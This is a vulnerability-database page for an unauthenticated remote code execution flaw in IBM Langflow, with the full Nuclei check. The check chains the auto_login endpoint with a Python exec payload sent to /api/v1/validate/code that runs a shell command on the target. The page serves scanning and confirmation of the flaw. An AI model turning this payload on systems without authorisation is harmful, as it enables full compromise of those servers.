IBM Langflow - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-08-04; known to be used by ransomware.

criticalseverity

9.8CVSS score

28.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.

Impact

Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.

Fix

Update to the latest version beyond 1.10.0.

How to confirm it

Send: GET {{BaseURL}}/api/v1/auto_login
Positive when: contains_all(body, "access_token", "refresh_token") and status_code == 200
Send: POST /api/v1/validate/code
Positive when: regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-9198 -u <target>

The full check

id: CVE-2026-9198

info:
  name: IBM Langflow - Remote Code Execution
  author: YesWeHack
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 1.10.0.
  reference:
    - https://www.ibm.com/support/pages/node/7278927
    - https://github.com/ywh-jfellus/CVE-2026-9198
    - https://github.com/0xdak/CVE-2026-9198_exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9198
    epss-score: 0.28658
    epss-percentile: 0.98154
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ibm
    product: langflow
    fofa-query: title="Langflow" || body="langflow"
  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/auto_login"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "access_token", "refresh_token")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        json:
          - ".access_token"
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from